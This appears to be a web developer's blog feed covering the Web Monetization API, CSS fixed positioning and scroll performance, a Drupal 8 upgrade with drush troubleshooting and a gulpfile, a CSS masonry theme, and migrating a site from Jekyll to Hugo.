Along with the publication of the whitepaper, Adrian Hope-Bailie, also proposed the Interledger Payments Community Group at the W3C. As commerce moves increasingly to the web, the W3C has a vested interest in developing open standards for web payments and security by getting those with interest and knowledge involved with the W3C.

Web Payments Activity at the W3C's main focus is to develop web standards for APIs that increase the convenience and security of Web Payments. There are two working groups and multiple community groups who are involved in this endeavour, Interledger Payments among them.

And then we get to 2019

In August 2019, Adrian Hope-Bailie proposed the Web Monetization API on the WICG Discourse. It is a JavaScript browser API that allows the creation of a payment stream from the user agent to the website. Web Monetization depends on two critical technologies to work, the aforementioned Interledger protocol and something called payment pointers.

Payment pointers are a standardised identifier for payment accounts which resolve to a URL that can be used to discover available Open Payment endpoints for interacting with the account. Open Payments is an application level protocol built on top of the Interledger protocol.

Here's the list of specifications that have been mentioned so far:

There is quite a lot of technical detail in them, but still, it's pretty cool to see the process of introducing a new protocol to the web. As I mentioned earlier, there's a growing amount of content about web monetization, albeit slightly scattered and piece-meal at the moment.

Why are you talking about Web Monetization?

I'm one of the Grant for the Web Ambassadors and if you poke around the stuff I do, you'll find that I pretty much do standard web developer things.

Since I'm reasonably competent at that, I figured I would document the whole process of implementing the Web Monetization API, explain how the ecosystem works and basically build out a comprehensive guide to web monetization.

Which means, yes, of course, I'm building a website. I really like building websites. It's like totally my jam. I mean, I could draw a zine or something, but nah, I'll leave that up to all the way more artistic folks out there.

I just got the site up and running and will be working on content, design and layout all in “real-time” moving forward, and you can check it out at https://webmonetization.dev/.

The site is built with Eleventy ❤️, and its source code is on GitHub. If you find anything broken, feel free to raise an issue, or even better, submit a pull request. You can also let me know what content would be useful to you.

On fixed elements and backgrounds

Mon, 25 May 2020 12:40:20 GMT

I thought this was going to be a short-ish note on fixed positioning and jank, but as with almost everything I write, it grew into a long-ish post about containing blocks, rendering and scroll performance.

The original point of writing this was to remind myself that whenever I want to fix the position of anything on a web page, performance considerations must be top-of-mind. It wasn't like I didn't know, I just wasn't actively thinking about it.

**cue look of disapproval from webperf folk everywhere** ಠ_ಠ

But then it spiralled off into other things, so I'm moving the conclusions up to the top, and if anyone is interested in the whys, you can read on after that.

TL:DR the practical bits

If you have a fixed element on your page, which means it doesn't move when you scroll, you might realise that it no longer acts fixed if you apply a CSS filter on its nearest ancestor.

Go ahead, try it on the Codepen.

See the Pen Fixed positioning and CSS filters by Chen Hui Jing (@huijing) on CodePen.

This is because applying a filter on the fixed element's immediate parent makes it becoming the containing block instead of the viewport. I encountered this when I was trying to archive v1 of my website.

I wanted to keep everything exactly the same but with a grey-scale filter applied so it would look, well you know, archived. The website has a un-performant dark mode toggle that is an immediate child of the body element.

It was positioned in the bottom left corner of the viewport with position: fixed. I thought the most efficient one-line fix was to apply filter: grayscale(1); on the body element, but that unfixed my toggle.

In the end I applied the filter to the header, main and footer separately so the toggle wasn't affected by this. This is not a bug, it's a legitimate feature, please read on if you want to know more.

Also, if you plan to have fixed backgrounds on your site, try using a pseudo-element to house the image instead of using background-attachment: fixed for better scrolling performance.

I was dealing with a more than 3-year-old procrastination series of blog posts, which I decided to move into a site of its own. Because a new site means a new layout and design to build. Yes, I'm still procrastinating the actual writing part.

Anyway, I wanted some fixed decorative elements on the site to fill up excess space on either side of the text for large viewport widths. If you came across and remember Chris Ruppel's article on the will-change property, this will look familiar.

Instead of doing something like this:

main {
  background: url("/some-beautiful-image.png") no-repeat center center;
  background-attachment: fixed;
  background-size: cover;
}

Do something like this:

main::before {
  content: "";
  position: fixed;
  width: 100%;
  height: 100%;
  background: url("/some-beautiful-image.png") no-repeat center center;
  background-attachment: fixed;
  background-size: cover;
  will-change: transform;
  z-index: -1;
}

Paul Lewis explained in Using Chrome DevTools to profile the jsconf.eu site (somewhere around the 2.30 mark) that background-attachment: fixed causes a paint operation whenever you scroll.

The solution brings the background image in question into its own layer, so when the main content is being scrolled, it does not have to constantly be repainted.

will-change should not be rampantly used all over your site though. Refer to Sara Soueidan's Everything You Need to Know About the CSS will-change Property.

You can stop here and go do something more useful with your life at this point. Everything after here is my rabbit-hole research. You have been warned.

The containing block

Oh, you're still here? Okay then, let's talk a bit about how fixed positioning works in the context of browser rendering. Boxes are always positioned relative to a containing block. If there isn't one explicitly defined, that containing block is the viewport.

Understanding how the containing block works is very useful when it comes to troubleshooting your CSS positioning woes. A recommended resource for this is Layout and the containing block on the MDN web docs.

A box's position property determines what it's containing block will be. static (which is the default value), relative and sticky uses the nearest ancestor element's content box. This ancestor must be either a block container, or has established a formatting context.

absolute uses the nearest ancestor element's padding box. This ancestor must have a position value of anything other than static. If you've ever wondered why people toss in a position: relative on a parent element to “trap” a child element within itself.

Now, we come to fixed. A fixed box usually uses the viewport as its containing block. Common use-case for this is sticky headers or footers, where we usually slap on position: fixed on those elements and call it a day.

However, there are situations where the containing block is the nearest ancestor's padding box. This only occurs when the ancestor fulfils any of the following conditions:

A transform or perspective value other than none
A will-change value of transform or perspective
A filter value other than none
A will-change value of filter (only for Firefox)
A contain value of paint

To better understand why, let's segue into some browser internals. Just superficially. Because I'm as far away from being a browser engineer as I am from living on the moon. 🌓

Browser rendering

My favourite explanation of how a CSS engine works is by Lin Clark in Inside a super fast CSS engine: Quantum CSS (aka Stylo), so do check that out. Generally, all CSS engines go through the process of parse → style → layout → paint → composite & render.

For a really in-depth look into how browser internals work, I recommend Tali Garsiel's How Browsers Work: Behind the scenes of modern web browsers.

Other than the DOM tree, browsers also construct a render tree, which represents where elements should go on a page based on information like width, height and position, and how it should look. Every CSS property value is calculated for every element in the document.

Layout involves the computation of position and size of all the boxes. Paint renders the boxes (with all their visual styles) as pixels on your screen. This can happen on multiple layers. Composite mushes the layers together, applies compositor-only styles then renders it all on the screen.

Keep in mind this is a very simplified description. I don't think “mush” is a technical term.

Have you ever heard folks say there are certain CSS properties that are “safe” to animate, and others that are not? If you haven't, please refer to High Performance Animations.

The TL:DR of that article is that if you have to animate something, use either transform or opacity wherever possible. These are the compositor-only properties. Everything else is more expensive. Think of the above diagram as those toddler toy stacking ring things.

Rendering is more or less sequential, so when I say expensive, think about how you would replace one of these rings. If compositing happens again, that's all the browser has to do. But as you go earlier in the sequence, the browser has to do more work.

So properties like position, display, and even font-size will trigger layout. Properties like color or background-position will trigger paint. As of time of writing, only transforms and opacity are fully handled by the compositor. You can check the full list at http://goo.gl/lPVJY6.

Having work being handled by the compositor helps performance because modern browsers have two threads of execution, main and compositor. Layout and paint is done on the main thread while the compositing and rendering is done on the compositor thread, by the GPU.

The main thread is very busy. It has a lot of stuff to calculate. But it's pretty good at that, much power, all compute. GPUs aren't that great at quick computation, but they are great at drawing stuff.

Drawing pixels to the screen? No problem. Drawing the same bitmap of pixels to the screen repeatedly? Piece of cake. Transforming that same bitmap of pixels into different positions, rotations or scale? Easy-peasy-lemon-squeezy.

By now, some of you might be like, omg when is she gonna get to the point??

We-ll… the point was covered at the beginning of this post.

So let's talk about scrolling!

Scroll performance

Have you wondered what happens when you scroll a page? Doesn't it feel like there are magical elves rotating a long ream of content, like those player piano things?

As Paul Lewis explains in Avoiding Unnecessary Paints, every time you scroll up or down a browser, content needs to be repainted before it appears on screen. And paint work will affect performance.

I did the opposite of burying the lede earlier, so you would have realised (if had read the first part) why background-attachment: fixed performs much worse than if you moved the background image to its own layer and fixed that instead. Minimal repainting. That's what it does.

That being said, I'm not sure how much browser have since improved and optimised the rendering process and if that has made some of these techniques obsolete? I'd like to think they still help, because we have yet to see any radical changes in the rendering process.

Would love for someone to tell me more about rendering performance in today's latest browsers. *hint, hint*

Wrapping up

I think I should stop here for now. I've already read through the design document for GPU accelerated compositing in Chrome and probably need to extricate myself from this rabbit hole. Don't worry, I find rendering most fascinating and will definitely revisit this again.

References

Revisiting Drupal 8 After 2 Years

Sun, 24 May 2020 02:26:25 GMT

The last time I wrote about Drupal was 2017, when I built the company website for my friend's husband. It was a proper paid project, which really did come at a good time because I was about eight months fun-employed at the time trying to get my own company off the ground.

Spoiler alert: the company still exists but more as a side-gig kind of thing.

Almost three years later, I get a ping from him asking if I could help out with some tweaks because they had since moved their focus from machinery and machine parts to servicing and wanted to update the home page content.

In my mind, I was like, this shouldn't be too hard, I can totally do it in half an hour or something. So I told him I'd look into it. To be fair, I was not that far off in estimating the work specific to his requirements. Less than half an hour, in fact.

HOWEVER, everything before I could even get to that, was another story. A story, which I need to record down as notes to MYSELF, just in case I need to update the site again in a couple years… 😏

Some background, skip if you're bored

For some background, I did do a write-up of the project back then, but I clearly skipped over some steps that I most likely thought were trivial at the time.

Fast forward to today, I had already forgot so much of setting up Drupal on one's local machine, it was like a joke that wasn't remotely funny. But I guess muscle memory is a thing, because after a couple hours of troubleshooting, things kind of came back.

Or maybe it's just trauma. No, I'm just kidding.

I made an executive decision to host the website on Pantheon and this had proven to be a good decision. Very solid platform option for anyone who is still doing Drupal today.

Pantheon will apply updates every time there is a new one version of Drupal released but it is up to you to commit them. The workflow is also very good IMO as you're given a three environments, dev, test and live. They provide you easy one-click options to pull your database and files between environments.

You mean you FORGOT how to setup locally?

The last time I looked at this site was (according to Git on Pantheon) 2 years ago when I updated to 8.4.2. Drupal had since moved on to 8.8.6, and there were 50 commits upstream (I think), when I first logged into the dashboard. Okay, no surprise there.

First pass, just update the thing and see if I get lucky. The odds of this are very very low, but because it was a development environment I could trash I just went ahead and forced the update. No surprise that the result was:

Right, I totally expected this. Local development it is. And then I realised I had forgotten ALL the things. I forgot the syntax for pointing to your database. I forgot what my SQL root password was (thank you, Keychain Access). I forgot how to recognise at first glance that PHP was not being used by Apache.

Several hours later…

I got some notes for future me.

If you see the contents of index.php printed verbatim on the screen, that means the web server is running fine but PHP is not.

Add a settings.local.php file for pointing to your Drupal database, and in it put this stuff:

<?php
// Local development configuration.
if (!defined('PANTHEON_ENVIRONMENT')) {
  // Database.
  $databases['default']['default'] = array(
    'database' => 'DATABASE_NAME',
    'username' => 'root',
    'password' => 'YOUR_PASSWORD_GO_FIGURE_IT_OUT',
    'host' => '127.0.0.1',
    'driver' => 'mysql',
    'port' => 3306,
    'prefix' => '',
  );
}

$settings['hash_salt'] = '$HASH_SALT';
$settings['trusted_host_patterns'] = array(
  '^SITE_FOLDER_NAME_BECAUSE_DNSMASQ\.test',
  '^localhost$',
);

Run drush status to see if things are wired up right. But if drush is throwing a million errors, add these troubleshooting bits into index.php
```
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
```

When you haven't updated in a while…

After I figured out the PHP thing, I had 7.4 running. So once I got the site to load locally, I attempted an incremental update per minor version, just to try to figure out when the breaking change happened.

Even though the site loaded, I had this following error printed across the top of the site no matter where I went:

Deprecated: Array and string offset access syntax with curly braces is deprecated in /Users/huijing/.composer/vendor/drush/drush/includes/sitealias.inc on line 174

But since the site was running, I assumed it would go away once I figured out how to update everything. Drush is a go-to tool for Drupal development for me, so there's a lot of me trying to run drush commands and getting a zillion lines of errors.

drush pm-updatestatus

I managed to get a list of modules that needed updating (it was all of them, come on, two years worth). But anyway, core updates first. When I got to 8.6.0, my “favourite” message showed up again.

Maybe it was a conflict with some of the installed modules. So I thought updating them might help, starting alphabetically with admin_toolar. Not the best idea, either.

Unable to extract /tmp/drush_tmp_1590252134_5ec95266f2f6b/admin_toolbar-8.x-2.2.tar.gz. Unknown archive format.

Can I just say that Drupal troubleshooting is simply Googling the most relevant keywords you can think of? Apparently, the new way to update your Drupal modules is to use composer? I'm still on drush 8.1.5, so I don't know. But I did update all my composer stuff.

Anyway, I finally came across this proposed solution in the drush issue log.

Solution: Add application/gzip to drush_file_is_tarball() in drush/includes/drush.inc.

I tested on the most benign module I could find, which was yearonly and although it wasn't as benign as I thought it was, it worked. I didn't feel like asking more questions. The site was still very down.

The next module I tried to update was token. Bad idea.

Drupal\Core\Extension\InfoParserException: Missing required keys (core) in modules/token/token.info.yml in /Users/huijing/Sites/sinvict/core/lib/Drupal/Core/Extension/InfoParserDynamic.php:29

At this point, I decided to downgrade to PHP7.2 after reading multiple issue threads that 7.2 is probably a better choice for compatibility reasons? Another thing I run regardless of whether I know it will work or not is:

drush cache-rebuild

Moar errors.

Fatal error: Declaration of Drupal\page_manager_ui\Form\VariantPluginAddBlockForm::buildForm(array $form, Drupal\Core\Form\FormStateInterface $form_state, ?Symfony\Component\HttpFoundation\Request $request = NULL, $block_display = NULL, $block_id = NULL) must be compatible with Drupal\page_manager_ui\Form\VariantPluginConfigureBlockFormBase::buildForm(array $form, Drupal\Core\Form\FormStateInterface $form_state, $block_display = NULL, $block_id = NULL) in /Users/huijing/Sites/sinvict/modules/page_manager/page_manager_ui/src/Form/VariantPluginAddBlockForm.php on line 20

Moar Googling. I found that someone suggested running composer require "twig/twig:1.37.1" because, again, compatibility reasons.

At this point, it was way past midnight. My intelligence was in the toilet, so I went to bed.

The next day…

I had reset the site so many times at this point that I decided to just bite the bullet and go up to 8.8.6 then figure shit out from there. Running drush status at this point gave me this:

Symfony\Component\DependencyInjection\Exception\LogicException: Service 'page_manager.variant_route_filter' for consumer 'router.no_access_checks' does not implement Drupal\Core\Routing\FilterInterface. in /Users/huijing/Sites/sinvict/core/lib/Drupal/Core/DependencyInjection/Compiler/TaggedHandlersPass.php on line 164

Drush was clearly not working out. Out the window that went. Manual downloads! Unzipping and moving folders is not that hard. And I started with page_manager since it was the immediate error message I was seeing.

After updating a module, usually we have to update the database scheme accordingly. So I tried to run drush updatedb. Bad idea.

Fatal error: Declaration of Drupal\panels\Form\PanelsAddBlockForm::buildForm(array $form, Drupal\Core\Form\FormStateInterface $form_state, ?Symfony\Component\HttpFoundation\Request $request = NULL, $tempstore_id = NULL, $machine_name = NULL, $block_id = NULL) must be compatible with Drupal\panels\Form\PanelsBlockConfigureFormBase::buildForm(array $form, Drupal\Core\Form\FormStateInterface $form_state, $tempstore_id = NULL, $machine_name = NULL, $block_id = NULL) in /Users/huijing/Sites/sinvict/modules/panels/src/Form/PanelsAddBlockForm.php on line 14

Fine, update panels next. Update database again…

SQLSTATE[42S02]: Base table or view not found: 1146 Table 'sinvict.path_alias' doesn't exist: INSERT INTO {path_alias}

At least the error messages are changing. That's progress, right?

Moar Googling. The next problematic thing was pathauto. But because I tried to update the database a bunch of times at this point, things were screwed. So I nuked everything for the umpteenth time and updated core, page_manager, panels AND pathauto.

THEN, I ran drush updatedb.

ZOMG IT DID NOT FAIL 😭

Theme-related workflow updates

Out of everything I do on the web, the visual design and implementation of what people see and interact with on a page is the thing I love most. Custom theme creation was one of the things I specialised in during my Drupal career.

I had set up a workflow involving gulp and browsersync specially for Drupal theme development, but two years down the road, the gulpfile has to be written, among some other things.

Again, amnesia. I forgot that I had to enable the browsersync module on the site so the requisite script would be injected. Also, how you name your functions in the gulpfile matters. Don't use sass at the function name.

Anyway, this is what the full updated gulpfile looks like.

var gulp = require("gulp");
var browserSync = require("browser-sync");
var sass = require("gulp-sass");
var prefix = require("gulp-autoprefixer");
var concat = require("gulp-concat");
var babel = require("gulp-babel");
var cp = require("child_process");

/**
 * Server functionality handled by BrowserSync
 */
function browserSyncServe(done) {
  browserSync.init({
    // Change as required, also remember to set in theme settings
    proxy: "sinvict.test",
    port: 5400,
  });
  done();
}

function browserSyncReload(done) {
  browserSync.reload();
  done();
}

/**
 * @task sass
 * Compile files from scss
 */
function styles() {
  return gulp
    .src("_scss/styles.scss")
    .pipe(sass())
    .pipe(prefix(["last 3 versions", "> 1%", "ie 8"], { cascade: true }))
    .pipe(gulp.dest("css"))
    .pipe(browserSync.reload({ stream: true }));
}

/**
 * @task scripts
 * Compile files from js
 */
function scripts() {
  return gulp
    .src(["_js/custom.js"])
    .pipe(
      babel({
        presets: ["@babel/preset-env"],
      })
    )
    .pipe(concat("scripts.js"))
    .pipe(gulp.dest("js"))
    .pipe(browserSync.reload({ stream: true }));
}

/**
 * @task clearcache
 * Clear all caches
 */
function clearcache(done) {
  return cp.spawn("drush", ["cache-rebuild"], { stdio: "inherit" }).on("close", done);
}

/**
 * @task reload
 * Refresh the page after clearing cache
 */
var reload = gulp.series(clearcache, browserSyncReload);

/**
 * @task watch
 * Watch scss files for changes & recompile
 * Clear cache when Drupal related files are changed
 */
function watchMarkup() {
  gulp.watch(["templates/*.html.twig", "**/*.yml"], reload);
}

function watchScripts() {
  gulp.watch(["_js/*.js"], scripts);
}

function watchStyles() {
  gulp.watch(["_scss/*.scss", "_scss/**/*.scss"], styles);
}

var compile = gulp.parallel(styles, scripts);
var serve = gulp.series(compile, browserSyncServe);
var watch = gulp.parallel(watchMarkup, watchScripts, watchStyles);

/**
 * Default task, running just `gulp` will
 * compile Sass files, launch BrowserSync & watch files.
 */
gulp.task("default", gulp.parallel(serve, watch));

Wrapping up

So, future me reading this, the next time you touch Drupal again, it might be a Drupal 9 project and none of this will be relevant any more. Who knows? But at least this time, you made it work.

The one in black and orange

Wed, 06 May 2020 00:00:00 GMT

It's been a couple months since my last proper "ship-to-production" layout project (the last one being the React Knowledgeable website, subscribe to their YouTube channel if you haven't ❤️). For me, there are numerous mental models for structuring a project's CSS, depending on the purpose of the site, the stack it's built on, the number of people working on it and so on.

There is no one RIGHT way of doing things because as mentioned, it depends on many factors. And it is my professional duty to make an informed choice that best suits the project at hand. That being said, I am human and I do have a personal favourite style. I annoyingly call it, Artisanal CSS.

**Proceeds to nimbly avoid Avocado Toasts and Quinoa Salads being thrown in my direction**

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

So my mate, Alex, decided to also migrate his site to Hugo and wanted a new theme. Apparently most people don't like to build themes, I wonder why… 🤔 Anyway, I built my career on creating bespoke themes so this is totally my jam.

The process

Just kidding, there wasn't really a process. It was more of a build and tweak kind of methodology. So the seed keyword here was: “Masonry”.

If your definition of the word is the building of structures from individual units, which are often laid in and bound together by mortar, then I suggest reading this CSS tricks article on Approaches for a CSS Masonry Layout

But the TL:DR explanation is a layout of unevenly-sized items without any excess gaps between items. And since each of the articles on the list would be a sort of card-style, CSS Multi-column Layout would work nicely for this.

Here's the before version of the home page:

And one of the article pages:

When I cloned down the repo, Alex had already managed to get his content to render without any styles. A literal blank slate. Beautiful.

Alex also showed me a theme that he liked. Specifically the row of lines in the site header, and the double-dotted underlines for article titles. Also, the colour scheme of orange on dark. Good enough for me to go on.

Colours were already settled because I just grabbed them off the theme with Sip (my colour-picker app of choice). And I went with Elaine Sans by Wei Huang, which is a fork of Work Sans but with some whimsical modifications.

First pass layout

Multi-column is not too complicated to implement. Tell the browser how wide you'd like your columns to be, and let the browser take it away.

.post-list {
  column-width: 20em;
}

.post-list li {
  break-inside: avoid;
}

break-inside: avoid makes sure the cards don't get chopped in half between columns. As for the double dotted underlines, I got a little help from the ::after pseudo-element.

.post-title {
  position: relative;
  border-bottom: 3px dotted $main;
  padding-bottom: 0.75em;
  line-height: 1.2;
}

.post-title::after {
  content: "";
  position: absolute;
  bottom: 2px;
  display: block;
  width: 100%;
  border-bottom: 3px dotted $main;
}

The rest of the styles were declaring basic colours, fonts, padding and margin adjustments, that sort of thing. And so we got our first pass.

Websites need headers, probably

It's a start, I suppose. I work better with sketches, whether I draw them myself or someone else does it, no difference. So Alex sent over this sketch of what he had in mind.

An excellent requirements document, if you ask me. There are even annotations for interactivity. I'd take this over a pixel perfect Photo-shop mock ANY DAY. Simply because it informs the general concept while giving me all the freedom to make adjustments as the viewport changes.

Such sketches are also low-fidelity enough that nobody is precious about them, which makes it great for iterating in quick succession.

It didn't feel like the graduated lines would fit as a site title, but given that the header of the site was going to laid out as a left sidebar, it would work on links.

There is more than one way to achieve this effect, but they all make use of the ::after pseudo-element. I mean, you could use an image but that would make it tedious to dynamically change the length of the text if you decide you want to switch up the links one day.

A repeating linear gradient does the trick fairly well. You could try it with multiple positioned box-shadows of the pseudo-element styled to look like one graduated line, but typing out every position of each shadow got a bit tedious for me.

.nav-links li::after {
  display: block;
  content: " ";
  color: transparent;
  width: 100%;
  background-image: repeating-linear-gradient(
    90deg,
    $main,
    $main 2px,
    transparent 0,
    transparent 10px
  );
}

As for the card outline, I went with a mix of border and box-shadow because I felt there was still something more we could do with the dots.

.post-list li {
  border-top: 3px dotted $main;
  border-left: 3px dotted $main;
  box-shadow: 4px 4px 0 0 $main;
}

That would give you the dotted lines on the top and left, and a normal box-shadow effect on the right and bottom of each article card.

Extra tweaks and fixes

The broad overall structure of the site was in place, but things are far from done at this point because this is usually when I start doing my compulsive browser resizing exercise.

Let's start with the site header, which is essentially a sidebar, right? It is of full-viewport length and fixed in place with positioning, which means there is a possibility of the layout breaking as the viewport height shrinks.

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

If you look at where I decide the breakpoint, it's not a number I pulled out of a hat, it's the height of the viewport where links don't fit any more. And herein lies the un-scalability of this design.

@media screen and (max-width: 514px) {
  /* Some styles */
}

@media screen and (max-width: 799px) {
  /* Some more styles */
}

@media screen and (min-width: 675px) and (max-width: 799px) {
  /* Some other styles */
}

@media screen and (min-width: 800px) {
  /* You know where this is going */

  @media screen and (max-height: 665px) {
    /* Nested media queries, wuttt */
  }

  @media screen and (max-height: 400px) {
    /* Wooo moar tweaks */
  }
}

What happens when another link is added? I come back and change the breakpoint. Is this a “correct” approach? I can't answer that. What I can say is that for a site like this, I don't want to write the CSS once and call it a day.

Moar browser tests

Do you test your websites on IE11? I still do. How many people view the site on IE11? I have no idea. To me, it's a matter of principle that the layout not be broken. Not broken doesn't mean “looks exactly the same”.

@media screen and (min-width: 800px) and (-ms-high-contrast: none) {
  /* IE11 specific fixes */
}

I've made my opinion known before that I LOVE the fact that one layout can potentially have multiple looks depending on the context it is being viewed in. I appreciate this as a feature of the web medium. And I look upon it fondly.

I also run the site through Lynx, just to check on the structure. For most static sites, this usually doesn't yield too many issues (at least in my limited sample of tests), but it's good to do a quick check.

Wrapping up

To me, such a design is a garden that needs to be tended and revisited, pruned and maintained, especially as content grows, or if more elements are added. Every content modification is an opportunity to make a new design decision.

Sometimes you won't have to do anything, e.g. if a new article is added, not much needs to be done. But if a new section is added, maybe the design needs to be tweaked. I love that. I love the amount of care and consideration each of these decisions demand. I love that this is a project that is never final.

This is not industrial mass-produced CSS. This is customised CSS that only works well for this particular site. And that's the way I like it.

Migrating from Jekyll to Hugo

Wed, 29 Apr 2020 00:00:00 GMT

After 1992 days on Jekyll hosted on GitHub Pages, all the nonsense I have published on my website is now being built on Hugo hosted on Netlify. I still love Jekyll, I mean, it was the first static-site generator I ever used. I even spoke at JekyllConf last year, so yeah, always a spot in my heart.

Warning: this post is so long. So so long. There is practical stuff in it, I promise. But maybe use the search function. Or just scroll through to find what's relevant. I use headers, if that helps.

I suppose the question most people would ask is, why switch? It was a multitude of little things which added up to push me over the edge. I've contemplated making the switch as early as 2017 when quite a few folks I knew were moving over from Jekyll to Hugo.

But I was comfortable with Jekyll, and I also poured in a lot of hours customising features with data files, adding tags (which was convoluted when I started with 2.5.1, okay?) and so on. Back in the days during my first job, I was a consultant on a major bank's core system replacement. It was a 20-year-old heavily customised beast, and nobody wanted to do the replacement. Until they had to.

This website is not even a tiny fraction of the scope of that project, but I now truly understand the psychology behind letting the beast continue to grow over the years. It's a trade-off, because the more effort you sink into the current system, the more painful the migration will be. Eventually.

When I did the migration, there were 186 posts. 186! That is a lot of shit I wrote over the years. Most of it just ramblings and brain dumps. Well, I laid in the bed I made, didn't I? By the time I got to about 100 posts (probably around 2017), the build was really starting to slow. I could sort of live with it though (the slowness was gradual).

Jekyll eventually introduced incremental builds, which gave me more reason to stay put. A large part of it was also because the site was hosted on GitHub Pages, and GitHub Pages played best with Jekyll. Recently I found out that there was no plan to support Jekyll 4, at least, not with the current pages-gem.

The kicker for me was this issue causing a flurry of deprecation warnings on Ruby 2.7 every time I tried to run the site locally. The solution was to wait for the 4.1 release, which would never happen on GitHub Pages.

A smarter person would probably have just upgraded to the latest Jekyll and moved hosting to Netlify, but I'm stooooopid. Also, you know how newly hired football managers feel compelled to make some big moves? Same mindset. Go big or GO HOME! (Or stay home, this happened during the COVID-19 pandemic, readers from the far future).

Research first, actual work later

To be fair, I had done the research portion before. I just never got PAST that phase. At some point I always just threw my hands up and said, too much work kthxbye. But not this time. So I dug up Sara Souidan's migration article again and actually tried to follow it. Please read that first. It's much better written than this.

First things first, install Hugo. I use a Mac for development work, so Homebrew is my package manager of choice. Apparently it works for Linux, but I never tried.

brew install hugo

Hugo has an import option, so I ran that as the next step, after creating a blank folder as the migration destination. (jing is my Jekyll source, and migrate is the destination)

mkdir migrate
hugo import jekyll jing migrate

If all went well, you should see the following output in your terminal.

Importing...
Congratulations! 186 post(s) imported!
Now, start Hugo by yourself:
$ git clone https://github.com/spf13/herring-cove.git migrate/themes/herring-cove
$ cd migrate
$ hugo server --theme=herring-cove

Here's a comparison of the two project folders, left one being Jekyll and right one being Hugo.

The migration populated only two folders, content and static. All my posts went into a post folder in content and some of the stuff in my root folder went into static. Not too bad. I tried just running hugo server without a theme. Bad idea.

You get a whole bunch of warnings in the terminal (way more than what I'm showing below). The server will run, but your browser will render NOTHING.

Building sites … WARN 2020/04/29 12:39:49 found no layout file for "HTML" for kind "page": You should create a template file which matches Hugo Layouts Lookup Rules for this combination.
WARN 2020/04/29 12:39:49 found no layout file for "HTML" for kind "page": You should create a template file which matches Hugo Layouts Lookup Rules for this combination.
WARN 2020/04/29 12:39:49 found no layout file for "HTML" for kind "page": You should create a template file which matches Hugo Layouts Lookup Rules for this combination.
WARN 2020/04/29 12:39:49 found no layout file for "HTML" for kind "page": You should create a template file which matches Hugo Layouts Lookup Rules for this combination.
WARN 2020/04/29 12:39:49 found no layout file for "HTML" for kind "page": You should create a template file which matches Hugo Layouts Lookup Rules for this combination.

Sara's post also highlights the importance of getting the template lookup rules right for your pages to render correctly, and I spent quite a bit of time on it as well. So something to take note of.

I continued with Sara's post and after setting up Hugo, she touches upon the Hugo configuration file. You can use .toml but I went with .yml because I was lazy to rewrite the format from Jekyll. This is what Hugo starts you off with:

baseURL: https://www.chenhuijing.com
disablePathToLower: true
languageCode: en-us
title: Chen Hui Jing

I recommend going through the Hugo's Site Variables documentation to figure out what you need in yours. When using Jekyll I had two configuration files, _config.yml for production and _config_dev.yml for development.

For Hugo, the configuration files are put in the config folder, further broken down into the _default and production folders. The config folder is not created by default, and is only required if you have multiple configuration files. If you only have the one, keep it in the root folder and carry on.

Template migration

This was half the work. And to serve as documentation to my future self, I'm noting down all the one-to-one functionality matching in case I want to subject myself to another migration project in future. My audience for this post is really myself. You have been warned.

As of time of writing, Hugo is at version 0.69.2, which supports the concept of a base template that can be extended by blocks. This came in at v0.63.0.

First thing to do is to define a base template in the layouts/_default/ folder called baseof.html. This is mine:

<!DOCTYPE html>
<html lang="{{ .Site.LanguageCode }}">
  {{ partial "head.html" . }}
  <body>
    <div class="blender" id="blender"></div>
    <input type="checkbox" class="blend-checkbox" id="blendToggle" />
    <label for="blendToggle" class="blend-toggle"></label>
    {{ partial "header.html" . }}

    <main class="content">{{ block "main" . }}{{ end }}</main>

    {{ partial "footer.html" . }} {{ partial "scripts.html" . }}
  </body>
</html>

The original base layout from Jekyll looked like this:

{% include head.html %}

<body>
  <div class="blender" id="blender"></div>
  <input type="checkbox" class="blend-checkbox" id="blendToggle" />
  <label for="blendToggle" class="blend-toggle"></label>
  {% include header.html %}

  <main class="content">{{ content }}</main>

  {% include footer.html %} {% include foot.html %}
</body>

Re-using HTML in many places

There was a bit of a restructuring of the partials like moving scripts to its own partial etc. but that's the general idea. So the first one-to-one mapping I learned was for modularising HTML to re-use on multiple pages:

{% include FILE_NAME.html %} maps to {{ partial "FILE_NAME.html" }}

I also use Nunjucks in my Eleventy projects and I feel Hugo's blocks are rather similar to Nunjucks'. Jekyll lets you do inheritance by using the layout variable in your template's front matter, so I guess that's why they don't need blocks? I don't know.

With multiple HTML blocks of varying logic complexity in my includes folder, I started with the least complicated ones, i.e. those with no conditionals, just site variables. Like the header.html file. This is the Jekyll version:

<header class="site-header">
  <div class="site-header__wrapper">
    <div class="site-branding">
      <a class="no-underline" href="{{ site.baseurl }}/"
        ><span class="site-branding__image">Home</span></a
      >
      <div class="site-branding__wrapper">
        <h1 class="site-branding__title">
          <a class="no-underline" href="{{ site.baseurl }}/">{{ site.title }}</a>
        </h1>
        <p class="site-branding__description">{{ site.description }}</p>
      </div>
    </div>

    <nav class="site-nav">
      <a class="site-nav__link no-underline" href="/about/">About</a>
      <a class="site-nav__link no-underline" href="/work/">Work</a>
      <a class="site-nav__link no-underline" href="/talks/">Talks</a>
      <a class="site-nav__link no-underline" href="/blog/">Blog</a>
    </nav>
  </div>
</header>

Which mapped to this Hugo version:

<header class="site-header">
  <div class="site-header__wrapper">
    <div class="site-branding">
      <a class="no-underline" href="{{ .Site.BaseURL }}"
        ><span class="site-branding__image">Home</span></a
      >
      <div class="site-branding__wrapper">
        <h1 class="site-branding__title">
          <a class="no-underline" href="{{ .Site.BaseURL }}">{{ .Site.Title }}</a>
        </h1>
        <p class="site-branding__description">{{ .Site.Params.description }}</p>
      </div>
    </div>

    <nav class="site-nav">
      <a class="site-nav__link no-underline" href="/about/">About</a>
      <a class="site-nav__link no-underline" href="/work/">Work</a>
      <a class="site-nav__link no-underline" href="/talks/">Talks</a>
      <a class="site-nav__link no-underline" href="/blog/">Blog</a>
    </nav>
  </div>
</header>

Site variables are available in both Jekyll and Hugo. You can access them in Jekyll using site.VARIABLE_NAME. Jekyll does not differentiate between its own native site variables and those custom ones you defined yourself. But in Hugo, you would use Site.VARIABLE_NAME for the ones that Hugo natively supports or Site.Params.VARIABLE_NAME for those you define yourself in the configuration file.

